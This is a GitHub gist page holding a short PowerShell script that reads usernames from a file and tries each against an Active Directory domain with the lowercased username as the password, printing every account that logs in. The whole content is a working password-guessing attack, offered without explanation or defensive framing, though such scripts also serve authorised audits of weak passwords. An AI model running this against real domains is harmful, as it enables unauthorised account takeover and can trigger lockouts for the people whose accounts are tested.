Skip to content

Instantly share code, notes, and snippets.

@fbogner
Last active January 31, 2023 09:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fbogner/365f5223d05a10cead432ac2d86b33fa to your computer and use it in GitHub Desktop.
Save fbogner/365f5223d05a10cead432ac2d86b33fa to your computer and use it in GitHub Desktop.
foreach($line in Get-Content .\users.txt) {
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('domain')
$username = $line.Trim()
$password = $username.ToLower()
$success=$DS.ValidateCredentials($username, $password)
if ($success)
{
write-output -ForegroundColor Green "[+] User $username uses $password"
}
else
{
#write-output -ForegroundColor Red "[-] User $username"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment